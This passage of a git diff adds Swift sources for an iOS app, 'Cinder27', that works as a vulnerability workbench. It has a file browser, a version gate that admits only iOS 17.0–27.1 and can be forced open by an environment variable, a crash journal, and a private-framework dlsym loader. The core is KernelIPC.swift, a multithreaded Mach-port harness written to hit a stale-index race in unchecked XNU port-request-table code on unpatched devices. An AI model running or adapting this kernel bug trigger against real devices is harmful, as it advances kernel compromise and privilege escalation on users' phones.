color: T.warn) + } + + Button { browser.reload() } label: { + Image(systemName: "arrow.clockwise").font(.system(size: 12, weight: .bold)) + }.tint(T.ember) + } + .padding(.horizontal, 16) + .padding(.bottom, 6) + } + + private var searchBar: some View { + HStack(spacing: 7) { + Image(systemName: "magnifyingglass").font(.system(size: 11)).foregroundColor(.white.opacity(0.3)) + TextField(t("files.name"), text: $searchText) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + if !searchText.isEmpty { + Button { searchText = "" } label: { + Image(systemName: "xmark.circle.fill").font(.system(size: 11)) + }.tint(.white.opacity(0.3)) + } + Text("\(visible.count)").font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + .padding(.horizontal, 10).padding(.vertical, 7) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panel)) + .padding(.horizontal, 16) + .padding(.bottom, 8) + } + + private var clipboardBar: some View { + HStack(spacing: 8) { + Image(systemName: clipboard.mode == .copy ? "doc.on.doc" : "arrow.right.doc.on.clipboard") + .font(.system(size: 11)) + .foregroundColor(T.info) + Text("\(clipboard.paths.count) · \(clipboard.mode == .copy ? t("files.copy") : t("files.move"))") + .font(T.monoSm).foregroundColor(.white.opacity(0.6)) + Spacer() + Button(t("files.paste")) { paste() } + .font(.system(size: 11, weight: .semibold)).tint(T.ember) + Button(t("files.cancel")) { clipboard.clear() } + .font(.system(size: 11)).tint(.white.opacity(0.4)) + } + .padding(.horizontal, 12).padding(.vertical, 8) + .background(RoundedRectangle(cornerRadius: 9).fill(T.info.opacity(0.1))) + .overlay(RoundedRectangle(cornerRadius: 9).strokeBorder(T.info.opacity(0.3), lineWidth: 1)) + .padding(.horizontal, 16).padding(.bottom, 8) + } + + // MARK: Row + + private func row(_ item: FileItem) -> some View { + Button { + if item.isDirectory { browser.enter(item) } else { preview = item } + } label: { + HStack(spacing: 10) { + Image(systemName: item.icon) + .font(.system(size: 13)) + .foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4)) + .frame(width: 20) + VStack(alignment: .leading, spacing: 2) { + Text(item.name) + .font(T.body) + .foregroundColor(.white.opacity(0.86)) + .lineLimit(1) + HStack(spacing: 6) { + if !item.isDirectory { Text(item.displaySize) } + if item.isSymlink { Text("→") } + if let m = item.modified { + Text(FileBrowser.dateFormatter.string(from: m)) + } + } + .font(T.monoSm) + .foregroundColor(.white.opacity(0.26)) + } + Spacer() + if item.isDirectory { + Image(systemName: "chevron.right") + .font(.system(size: 10, weight: .bold)) + .foregroundColor(.white.opacity(0.18)) + } + } + } + .listRowBackground(T.panel) + .contextMenu { + Button { info = item } label: { Label(t("files.info"), systemImage: "info.circle") } + Button { + renameTarget = item + renameName = item.name + } label: { Label(t("files.rename"), systemImage: "pencil") } + Button { + clipboard.stage([item.path], mode: .copy) + status = "✓ \(t("files.copied")) \(item.name)" + } label: { Label(t("files.copy"), systemImage: "doc.on.doc") } + Button { + clipboard.stage([item.path], mode: .move) + status = "→ \(t("files.move")) \(item.name)" + } label: { Label(t("files.move"), systemImage: "arrow.right.doc.on.clipboard") } + Button { duplicate(item) } label: { Label(t("files.duplicate"), systemImage: "plus.square.on.square") } + if item.isDirectory { + Button { + bookmarks.add(item.path) + status = tl("✓ 书签 ") + "\(item.name)" + } label: { Label(t("files.bookmarks"), systemImage: "bookmark") } + } + Divider() + Button(role: .destructive) { confirmDelete = item } label: { + Label(t("files.delete"), systemImage: "trash") + } + } + .swipeActions(edge: .trailing) { + Button(role: .destructive) { confirmDelete = item } label: { + Label(t("files.delete"), systemImage: "trash") + } + Button { + renameTarget = item + renameName = item.name + } label: { Label(t("files.rename"), systemImage: "pencil") } + .tint(T.info) + } + .swipeActions(edge: .leading) { + Button { + clipboard.stage([item.path], mode: .copy) + } label: { Label(t("files.copy"), systemImage: "doc.on.doc") } + .tint(T.ember) + } + } + + // MARK: Jump sheet + + private var jumpSheet: some View { + NavigationStack { + ScrollView { + VStack(alignment: .leading, spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("files.path")) + TextField("/path/to/directory", text: $jumpPath) + .font(T.mono) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(9) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + HStack(spacing: 8) { + Button(t("files.done")) { + browser.chdir(jumpPath) + jumpShown = false + } + .font(.system(size: 13, weight: .semibold)) + .tint(T.ember) + Spacer() + Button("~/Documents") { + jumpPath = Container.documents.path + }.font(T.monoSm).tint(.white.opacity(0.4)) + Button("/") { jumpPath = "/" } + .font(T.monoSm).tint(.white.opacity(0.4)) + } + } + } + + Card { + VStack(alignment: .leading, spacing: 6) { + SectionLabel(text: t("files.bookmarks")) + ForEach(bookmarks.items, id: \.self) { path in + Button { + browser.chdir(path) + jumpShown = false + } label: { + HStack(spacing: 8) { + Image(systemName: "folder.fill") + .font(.system(size: 11)).foregroundColor(T.ember) + Text(Container.shortPath(URL(fileURLWithPath: path))) + .font(T.monoSm).foregroundColor(.white.opacity(0.7)) + .lineLimit(1).truncationMode(.middle) + Spacer() + } + } + } + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("files.jump")) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button(t("files.cancel")) { jumpShown = false }.tint(T.ember) + } + } + } + } + + // MARK: Operations + + private func paste() { + let fm = FileManager.default + var ok = 0 + var failed: [String] = [] + for source in clipboard.paths { + let name = (source as NSString).lastPathComponent + let dest = (browser.path as NSString).appendingPathComponent(name) + guard dest != source else { continue } + do { + if fm.fileExists(atPath: dest) { + // never silently overwrite + let stem = (name as NSString).deletingPathExtension + let ext = (name as NSString).pathExtension + var n = 2 + var candidate = dest + while fm.fileExists(atPath: candidate) { + let newName = ext.isEmpty ? "\(stem) \(n)" : "\(stem) \(n).\(ext)" + candidate = (browser.path as NSString).appendingPathComponent(newName) + n += 1 + } + if clipboard.mode == .copy { + try fm.copyItem(atPath: source, toPath: candidate) + } else { + try fm.moveItem(atPath: source, toPath: candidate) + } + } else { + if clipboard.mode == .copy { + try fm.copyItem(atPath: source, toPath: dest) + } else { + try fm.moveItem(atPath: source, toPath: dest) + } + } + ok += 1 + } catch { + failed.append("\(name): \(Container.describe(errno))") + } + } + browser.reload() + if failed.isEmpty { + status = "✓ \(clipboard.mode == .copy ? t("files.copied") : t("files.moved")) \(ok)" + clipboard.clear() + } else { + status = failed.joined(separator: " · ") + } + } + + private func duplicate(_ item: FileItem) { + let fm = FileManager.default + let dir = (item.path as NSString).deletingLastPathComponent + let stem = (item.name as NSString).deletingPathExtension + let ext = (item.name as NSString).pathExtension + var n = 2 + var candidate = "" + repeat { + let name = ext.isEmpty ? "\(stem) \(n)" : "\(stem) \(n).\(ext)" + candidate = (dir as NSString).appendingPathComponent(name) + n += 1 + } while fm.fileExists(atPath: candidate) + + do { + try fm.copyItem(atPath: item.path, toPath: candidate) + browser.reload() + status = "✓ \(t("files.copied")) \((candidate as NSString).lastPathComponent)" + } catch { + status = Container.describe(errno) + } + } +} + +// MARK: - Info sheet + +struct FileInfoSheet: View { + let item: FileItem + @ObservedObject var browser: FileBrowser + @Environment(\.dismiss) private var dismiss + + var body: some View { + NavigationStack { + ScrollView { + VStack(alignment: .leading, spacing: 12) { + Card { + VStack(alignment: .leading, spacing: 2) { + ForEach(Array(browser.fileInfo(item).enumerated()), id: \.offset) { _, row in + KeyValueRow(key: row.0, value: row.1) + } + } + } + if !item.isDirectory { + Card { + VStack(alignment: .leading, spacing: 6) { + SectionLabel(text: t("files.hex")) + Text(FileLoader.hexDump(at: item.path, limit: 2048) ?? "—") + .font(.system(size: 9.5, design: .monospaced)) + .foregroundColor(.white.opacity(0.6)) + .textSelection(.enabled) + } + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(item.name) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button(t("module.close")) { dismiss() }.tint(T.ember) + } + } + } + } +} diff --git a/Sources/Gate.swift b/Sources/Gate.swift new file mode 100644 index 0000000..63a5a39 --- /dev/null +++ b/Sources/Gate.swift @@ -0,0 +1,206 @@ +import SwiftUI + +// MARK: - Launch gate +// +// The tool is only meaningful below 27.2: every primitive here demonstrates a check Apple +// added in 27.2. On 27.2+ nothing fires, so the honest behaviour is to say so and stop — +// not to show a workbench full of buttons that can only fail. + +enum VersionGate { + enum Result { + case supported(major: Int, minor: Int, build: String) + case unsupported(major: Int, minor: Int, build: String) + } + + static func evaluate() -> Result { + let v = ProcessInfo.processInfo.operatingSystemVersion + let build = sysctlString("kern.osversion") ?? "—" + // Supported window: 17.0 through 27.1. + // + // The lower bound is the app's own deployment target — below 17.0 the binary will + // not launch at all, so it cannot be reached from here. Between 17.0 and 26.x the + // fix window has not happened yet, so every primitive in this build is live. 27.0 + // and 27.1 sit immediately before the 27.2 gate wave and are the primary targets. + // From 27.2 onward every check these primitives demonstrate already shipped. + let supported: Bool + if v.majorVersion < 17 { + supported = false // below the deployment target + } else if v.majorVersion < 27 { + supported = true // 17.0 … 26.x — fixes not yet shipped + } else if v.majorVersion == 27 { + supported = v.minorVersion < 2 // 27.0, 27.1 + } else { + supported = false // 27.2+ / 28+ — patched + } + // An explicit override exists for research builds where the version string lies. + if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" { + return .supported(major: v.majorVersion, minor: v.minorVersion, build: build) + } + return supported + ? .supported(major: v.majorVersion, minor: v.minorVersion, build: build) + : .unsupported(major: v.majorVersion, minor: v.minorVersion, build: build) + } + + static var isSupported: Bool { + if case .supported = evaluate() { return true } + return false + } +} + +struct GateView: View { + @State private var phase: Phase = .checking + @State private var entered = false + + enum Phase { + case checking + case supported(major: Int, minor: Int, build: String) + case unsupported(major: Int, minor: Int, build: String) + } + + var body: some View { + ZStack { + T.bg.ignoresSafeArea() + + if entered, case let .supported(major, minor, build) = phase { + RootView() + .environment(\.gateInfo, GateInfo(major: major, minor: minor, build: build)) + .transition(.opacity) + } else { + content + .transition(.opacity) + } + } + .animation(.easeInOut(duration: 0.25), value: entered) + .onAppear(perform: check) + .onChange(of: phaseText) { _, _ in + // Headless harness: CINDER27_AUTOENTER=1 walks through the gate so tab + // screenshots and autoruns do not need a tap. + if ProcessInfo.processInfo.environment["CINDER27_AUTOENTER"] == "1", + case .supported = phase, !entered { + entered = true + } + } + } + + @ViewBuilder + private var content: some View { + VStack(spacing: 22) { + Spacer() + + VStack(spacing: 10) { + Text("Cinder27") + .font(.system(size: 34, weight: .bold, design: .rounded)) + .foregroundColor(.white) + Text(t("ov.headline")) + .font(.system(size: 13, weight: .medium, design: .rounded)) + .foregroundColor(.white.opacity(0.4)) + .multilineTextAlignment(.center) + } + + switch phase { + case .checking: + VStack(spacing: 12) { + ProgressView().tint(T.ember) + Text(t("gate.checking")) + .font(T.body).foregroundColor(.white.opacity(0.5)) + } + .padding(.top, 20) + + case let .supported(major, minor, build): + Card { + VStack(alignment: .leading, spacing: 10) { + HStack(spacing: 8) { + Image(systemName: "checkmark.seal.fill") + .font(.system(size: 14)) + .foregroundColor(T.good) + Text(t("gate.supported")) + .font(.system(size: 15, weight: .semibold, design: .rounded)) + .foregroundColor(T.good) + } + KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)") + KeyValueRow(key: t("gate.build"), value: build) + KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") + } + } + .padding(.horizontal, 24) + + RunButton(title: t("gate.enter"), systemImage: "arrow.right.circle.fill", tint: T.ember) { + entered = true + } + .padding(.horizontal, 24) + + case let .unsupported(major, minor, build): + Card { + VStack(alignment: .leading, spacing: 10) { + HStack(spacing: 8) { + Image(systemName: "xmark.octagon.fill") + .font(.system(size: 14)) + .foregroundColor(T.bad) + Text(t("gate.unsupported.title")) + .font(.system(size: 15, weight: .semibold, design: .rounded)) + .foregroundColor(T.bad) + } + KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)", tint: T.bad) + KeyValueRow(key: t("gate.build"), value: build) + KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1") + Divider().overlay(T.stroke) + Text(t("gate.unsupported.body")) + .font(T.body) + .foregroundColor(.white.opacity(0.62)) + .fixedSize(horizontal: false, vertical: true) + } + } + .padding(.horizontal, 24) + + RunButton(title: t("gate.recheck"), systemImage: "arrow.clockwise", tint: T.info) { + check() + } + .padding(.horizontal, 24) + } + + Spacer() + + Text("Cinder27 · \(Lang.resolved.native)") + .font(T.tiny) + .foregroundColor(.white.opacity(0.22)) + .padding(.bottom, 18) + } + } + + private var phaseText: String { + switch phase { + case .checking: return "checking" + case let .supported(m, n, _): return "ok-\(m).\(n)" + case let .unsupported(m, n, _): return "no-\(m).\(n)" + } + } + + private func check() { + phase = .checking + DispatchQueue.main.asyncAfter(deadline: .now() + 0.45) { + switch VersionGate.evaluate() { + case let .supported(major, minor, build): + phase = .supported(major: major, minor: minor, build: build) + case let .unsupported(major, minor, build): + phase = .unsupported(major: major, minor: minor, build: build) + } + } + } +} + +struct GateInfo { + let major: Int + let minor: Int + let build: String +} + +private struct GateInfoKey: EnvironmentKey { + static let defaultValue = GateInfo(major: 0, minor: 0, build: "—") +} + +extension EnvironmentValues { + var gateInfo: GateInfo { + get { self[GateInfoKey.self] } + set { self[GateInfoKey.self] = newValue } + } +} diff --git a/Sources/GuardJournal.swift b/Sources/GuardJournal.swift new file mode 100644 index 0000000..0844982 --- /dev/null +++ b/Sources/GuardJournal.swift @@ -0,0 +1,158 @@ +import Foundation +import Combine + +/// Write-ahead journal. Every primitive that can terminate the process arms an entry +/// before the trigger and disarms it after. An entry still armed at the next launch is a +/// process death inside that primitive — the differential oracle, generalized. +struct JournalEntry: Codable, Identifiable, Equatable { + var id: UUID = UUID() + var moduleID: String + var phase: String // armed | done | threw | died + var armedAt: Date + var detail: String +} + +final class GuardJournal: ObservableObject { + @Published private(set) var entries: [JournalEntry] = [] + @Published private(set) var recovered: [JournalEntry] = [] + + private let url: URL + private let lock = NSLock() + private let encoder: JSONEncoder = { + let e = JSONEncoder(); e.dateEncodingStrategy = .iso8601; return e + }() + private let decoder: JSONDecoder = { + let d = JSONDecoder(); d.dateDecodingStrategy = .iso8601; return d + }() + + init() { + // Container.ensureAll() guarantees Application Support exists; the URL alone does not. + let base = Container.appSupport + url = base.appendingPathComponent("cinder27-journal.json") + load() + } + + /// Bumped whenever the primitive set changes. Results recorded under a different stamp + /// describe a different app, so they are dropped rather than shown as if they still + /// apply — otherwise a reinstall over an old build reports work that never happened in + /// this one. + static let buildStamp: String = { + let version = (Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String) ?? "0" + let build = (Bundle.main.infoDictionary?["CFBundleVersion"] as? String) ?? "0" + let count = Catalog.all.count + return "\(version).\(build).\(count)" + }() + + private var stampURL: URL { + url.deletingLastPathComponent().appendingPathComponent("cinder27-journal.stamp") + } + + private func load() { + let stored = (try? String(contentsOf: stampURL, encoding: .utf8))? + .trimmingCharacters(in: .whitespacesAndNewlines) + guard stored == Self.buildStamp else { + // First launch, or the primitive set changed: start from nothing. + entries = [] + recovered = [] + persistLocked([]) + try? Self.buildStamp.write(to: stampURL, atomically: true, encoding: .utf8) + return + } + guard let data = try? Data(contentsOf: url), + let decoded = try? decoder.decode([JournalEntry].self, from: data) else { return } + let died = decoded.filter { $0.phase == "armed" } + let rewritten = decoded.map { e -> JournalEntry in + guard e.phase == "armed" else { return e } + var copy = e + copy.phase = "died" + return copy + } + entries = rewritten + recovered = died + if !died.isEmpty { persistLocked(rewritten) } + } + + private func persistLocked(_ list: [JournalEntry]) { + guard let data = try? encoder.encode(list) else { return } + try? data.write(to: url, options: .atomic) + let fd = open(url.path, O_RDONLY) + if fd >= 0 { fsync(fd); close(fd) } + } + + private func persist() { + persistLocked(entries) + } + + func arm(_ moduleID: String, _ detail: String) { + lock.lock() + entries.append(JournalEntry(moduleID: moduleID, phase: "armed", armedAt: Date(), detail: detail)) + persist() + lock.unlock() + refresh() + } + + func disarm(_ moduleID: String, phase: String = "done", detail: String = "") { + lock.lock() + for i in entries.indices.reversed() where entries[i].moduleID == moduleID && entries[i].phase == "armed" { + entries[i].phase = phase + if !detail.isEmpty { entries[i].detail = detail } + break + } + persist() + lock.unlock() + refresh() + } + + func clear() { + lock.lock() + entries.removeAll() + recovered.removeAll() + persist() + lock.unlock() + refresh() + } + + private func refresh() { + let snapshot = entries + DispatchQueue.main.async { [weak self] in + self?.objectWillChange.send() + self?.entries = snapshot + } + } + + func history(for moduleID: String) -> [JournalEntry] { + lock.lock(); defer { lock.unlock() } + return entries.filter { $0.moduleID == moduleID } + } + + func verdict(for moduleID: String) -> LabVerdict { + lock.lock(); defer { lock.unlock() } + let mine = entries.filter { $0.moduleID == moduleID } + guard !mine.isEmpty else { return .untested } + if mine.contains(where: { $0.phase == "died" }) { return .processDied } + if mine.contains(where: { $0.phase == "threw" }) { return .refused } + if mine.contains(where: { $0.phase == "done" }) { return .completed } + return .running + } +} + +enum LabVerdict: String, Codable { + case untested + case running + case completed + case refused + case processDied + + /// Localization key; callers go through t(). + var key: String { + switch self { + case .untested: return "lab.untested" + case .running: return "lab.running" + case .completed: return "lab.completed" + case .refused: return "lab.refused" + case .processDied: return "lab.died" + } + } + + var label: String { t(key) } +} diff --git a/Sources/KernelIPC.swift b/Sources/KernelIPC.swift new file mode 100644 index 0000000..3e8ad89 --- /dev/null +++ b/Sources/KernelIPC.swift @@ -0,0 +1,258 @@ +import Foundation +import Darwin + +/// Mach-IPC surface exercises for the XNU cluster fixed in 27.2. +/// +/// The 27.2 kernel added a validation wave over every index-consumer of the per-space +/// port-request table (ipc_port.c:21/24/34/38/40/41 — `ipr != NULL`, `table != NULL`). +/// The pre-fix paths index that table with the space's *saved* request-table index and +/// never compare it to the table size: +/// +/// free path — bounds are computed into a register and then DISCARDED; the unchecked +/// base still does `ldr` / `str w11,[x12,#8]` / `str xzr,[x12]`. +/// mark path — `add x8, x8, w2, uxtw #4` with no bounds computation at all, then a +/// read-modify-write of a bit in whatever it lands on. +/// type query — `ldr x8, [x8, x9]` with no check; the loaded bits classify the +/// notification type returned to the caller. +/// +/// The reachable shape is a stale-index race: request-table grow / teardown concurrent +/// with a notification registration or a send. This harness drives exactly that +/// interleaving and counts the kernel's own return codes. +/// +/// Resource discipline is the hard constraint here. The task port name space is finite +/// (a few thousand entries); a harness that allocates without bound gets the process +/// SIGKILLed by jetsam long before it proves anything, and that kill is indistinguishable +/// from a crash in the journal. So every port is tracked, every right is released, and a +/// hard budget caps total allocation per run. +enum KernelIPC { + + /// Ceiling on simultaneously live port names. Well under the name-space limit, so the + /// process is never the thing that fails. + private static let liveBudget = 512 + /// Ceiling on total allocations per run, to bound wall-clock and churn. + private static let totalBudget = 6_000 + + struct Stats { + var operations: Int = 0 + var allocations: Int = 0 + var notifications: Int = 0 + var sends: Int = 0 + var deallocations: Int = 0 + var budgetExhausted = false + var notificationsRefused = 0 + var kernelErrors: [String: Int] = [:] + + var summary: String { + var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) " + s += "send=\(sends) dealloc=\(deallocations)" + if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") } + if notificationsRefused > 0 { + s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,") + s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。") + } + if !kernelErrors.isEmpty { + s += "\n" + kernelErrors.sorted { $0.value > $1.value } + .map { " \($0.key) × \($0.value)" }.joined(separator: "\n") + } else { + s += tl("\n内核未返回任何错误码") + } + return s + } + } + + static func name(_ kr: kern_return_t) -> String { + switch kr { + case KERN_SUCCESS: return "KERN_SUCCESS" + case KERN_INVALID_NAME: return "KERN_INVALID_NAME" + case KERN_INVALID_RIGHT: return "KERN_INVALID_RIGHT" + case KERN_INVALID_ARGUMENT: return "KERN_INVALID_ARGUMENT" + case KERN_NO_SPACE: return "KERN_NO_SPACE" + case KERN_UREFS_OVERFLOW: return "KERN_UREFS_OVERFLOW" + case KERN_INVALID_CAPABILITY: return "KERN_INVALID_CAPABILITY" + case KERN_PROTECTION_FAILURE: return "KERN_PROTECTION_FAILURE" + case KERN_NO_ACCESS: return "KERN_NO_ACCESS" + case KERN_RESOURCE_SHORTAGE: return "KERN_RESOURCE_SHORTAGE" + case MACH_SEND_NO_BUFFER: return "MACH_SEND_NO_BUFFER" + case MACH_SEND_INVALID_DEST: return "MACH_SEND_INVALID_DEST" + default: return "kr=\(kr)" + } + } + + /// One worker's ring of ports: allocate, arm two notification types, half-teardown, + /// send into the survivors, then release everything. Returns the counters it produced. + private static func ring(task: mach_port_t, depth: Int, budget: inout Int, + refused: inout Int, + record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) { + var alloc = 0, notify = 0, send = 0, dealloc = 0 + + var ports: [mach_port_name_t] = [] + ports.reserveCapacity(depth) + + for _ in 0.. 0 else { break } + var n: mach_port_name_t = 0 + let kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &n) + if kr == KERN_SUCCESS { + ports.append(n) + alloc += 1 + budget -= 1 + } else { + record(kr) + break + } + } + + // Two notification types per port. MACH_MSG_TYPE_MAKE_SEND on our own receive + // right keeps the port alive without an extra explicit right to clean up. + for p in ports { + var prev: mach_port_t = 0 + let kr1 = mach_port_request_notification( + task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, + mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) + if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } } + if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } + notify += 1 + + var prev2: mach_port_t = 0 + let kr2 = mach_port_request_notification( + task, p, MACH_NOTIFY_DEAD_NAME, 0, p, + mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2) + if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } } + if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) } + notify += 1 + } + + // Teardown half the ring while the other half still holds armed notifications — + // that is the interleaving the request table has to survive. + // + // Never decrement a right we do not hold: on the simulator `mach_port_mod_refs` + // with a negative delta against a zero send-ref count does not return an error, + // it SIGKILLs the process. Check first, always. + for (i, p) in ports.enumerated() where i % 2 == 0 { + var refs: mach_port_urefs_t = 0 + if mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS, refs > 0 { + let kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1) + if kr != KERN_SUCCESS { record(kr) } + } + dealloc += 1 + } + + for (i, p) in ports.enumerated() where i % 2 == 1 { + var header = mach_msg_header_t() + header.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND) + header.msgh_size = mach_msg_size_t(MemoryLayout.size) + header.msgh_remote_port = p + header.msgh_local_port = 0 + header.msgh_id = 0 + let kr = mach_msg_send(&header) + if kr != KERN_SUCCESS { record(kr) } + send += 1 + } + + // Release every remaining right, then the name. `mach_port_destruct` with a + // urefs delta of 0 only succeeds once the right count is already 0, which is why + // the mod_refs above has to happen first. + for p in ports { + var urefs: mach_port_urefs_t = 0 + if mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS, urefs > 0 { + _ = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -Int32(urefs)) + } + let kr = mach_port_destruct(task, p, 0, 0) + if kr != KERN_SUCCESS { + // fall back to destroy, which tolerates outstanding rights + _ = mach_port_destroy(task, p) + } + dealloc += 1 + } + return (alloc, notify, send, dealloc) + } + + /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard + /// allocation budget shared across all of them. + static func race(seconds: TimeInterval = 6.0, workers: Int = 4, depth: Int = 48) -> Stats { + var stats = Stats() + let lock = NSLock() + let deadline = Date().addingTimeInterval(seconds) + let task = mach_task_self_ + var budget = totalBudget + + func record(_ kr: kern_return_t) { + guard kr != KERN_SUCCESS else { return } + lock.lock() + stats.kernelErrors[name(kr), default: 0] += 1 + lock.unlock() + } + + DispatchQueue.concurrentPerform(iterations: workers) { _ in + var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0 + + while Date() < deadline { + lock.lock() + let remaining = budget + lock.unlock() + if remaining <= 0 { + lock.lock(); stats.budgetExhausted = true; lock.unlock() + break + } + + var slice = min(depth, remaining) + var localRefused = 0 + let result = ring(task: task, depth: slice, budget: &slice, refused: &localRefused) { record($0) } + if localRefused > 0 { + lock.lock(); stats.notificationsRefused += localRefused; lock.unlock() + } + localAlloc += result.alloc + localNotify += result.notify + localSend += result.send + localDealloc += result.dealloc + localOps += 4 + + lock.lock() + budget -= result.alloc + lock.unlock() + } + + lock.lock() + stats.operations += localOps + stats.allocations += localAlloc + stats.notifications += localNotify + stats.sends += localSend + stats.deallocations += localDealloc + lock.unlock() + } + + return stats + } + + /// Cheap baseline: does the process even hold a send right to the bootstrap port, and + /// can it enumerate its own port space? Everything past this is privilege work. + static func baseline() -> [String: String] { + var out: [String: String] = [:] + let task = mach_task_self_ + + var bootstrap: mach_port_t = 0 + let kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap) + out["bootstrap"] = "\(name(kr)) port=\(bootstrap)" + + var names: mach_port_name_array_t? + var types: mach_port_type_array_t? + var nameCount: mach_msg_type_number_t = 0 + var typeCount: mach_msg_type_number_t = 0 + let kr2 = mach_port_names(task, &names, &nameCount, &types, &typeCount) + out["port_names"] = "\(name(kr2)) count=\(nameCount)" + if let n = names { + vm_deallocate(task, + vm_address_t(UInt(bitPattern: n)), + vm_size_t(nameCount) * vm_size_t(MemoryLayout.size)) + } + if let t = types { + vm_deallocate(task, + vm_address_t(UInt(bitPattern: t)), + vm_size_t(typeCount) * vm_size_t(MemoryLayout.size)) + } + + // The name-space ceiling matters for how hard the race can be driven. + out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)" + return out + } +} diff --git a/Sources/Kit.swift b/Sources/Kit.swift new file mode 100644 index 0000000..99e05d6 --- /dev/null +++ b/Sources/Kit.swift @@ -0,0 +1,333 @@ +import Foundation +import Darwin +import UIKit + +// MARK: - Byte helpers + +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +func hexdump(_ data: Data, limit: Int = 4096) -> String { + let bytes = [UInt8](data.prefix(limit)) + var out = "" + var offset = 0 + while offset < bytes.count { + let end = min(offset + 16, bytes.count) + let slice = bytes[offset..= 0x20 && $0 < 0x7f) ? String(UnicodeScalar($0)) : "." }.joined() + out += String(format: "%08x ", offset) + hex.padding(toLength: 48, withPad: " ", startingAt: 0) + " " + ascii + "\n" + offset = end + } + if data.count > limit { out += "... (\(data.count) bytes total)\n" } + return out +} + +// MARK: - sysctl + +func sysctlString(_ name: String) -> String? { + var size = 0 + guard sysctlbyname(name, nil, &size, nil, 0) == 0, size > 0 else { return nil } + var buffer = [CChar](repeating: 0, count: size + 1) + guard sysctlbyname(name, &buffer, &size, nil, 0) == 0 else { return nil } + return String(cString: buffer) +} + +func sysctlUInt64(_ name: String) -> UInt64? { + var size = 0 + guard sysctlbyname(name, nil, &size, nil, 0) == 0, size == 8 else { return nil } + var value: UInt64 = 0 + var localSize = size + guard sysctlbyname(name, &value, &localSize, nil, 0) == 0 else { return nil } + return value +} + +// MARK: - dlsym + +final class DyLib { + static let shared = DyLib() + private var handles: [String: UnsafeMutableRawPointer] = [:] + private let lock = NSLock() + + func handle(_ path: String) -> UnsafeMutableRawPointer? { + lock.lock(); defer { lock.unlock() } + if let h = handles[path] { return h } + guard let h = dlopen(path, RTLD_NOW | RTLD_GLOBAL) else { return nil } + handles[path] = h + return h + } + + /// Resolve a symbol across the shared cache libraries we care about. + func symbol(_ name: String, in libraries: [String] = DyLib.defaultLibraries) -> UnsafeMutableRawPointer? { + if let direct = dlsym(UnsafeMutableRawPointer(bitPattern: -2), name) { return direct } + for lib in libraries { + if let h = handle(lib), let s = dlsym(h, name) { return s } + } + return nil + } + + static let defaultLibraries = [ + "/usr/lib/libSystem.B.dylib", + "/System/Library/Frameworks/CoreMedia.framework/CoreMedia", + "/System/Library/Frameworks/VideoToolbox.framework/VideoToolbox", + "/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox", + "/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore", + 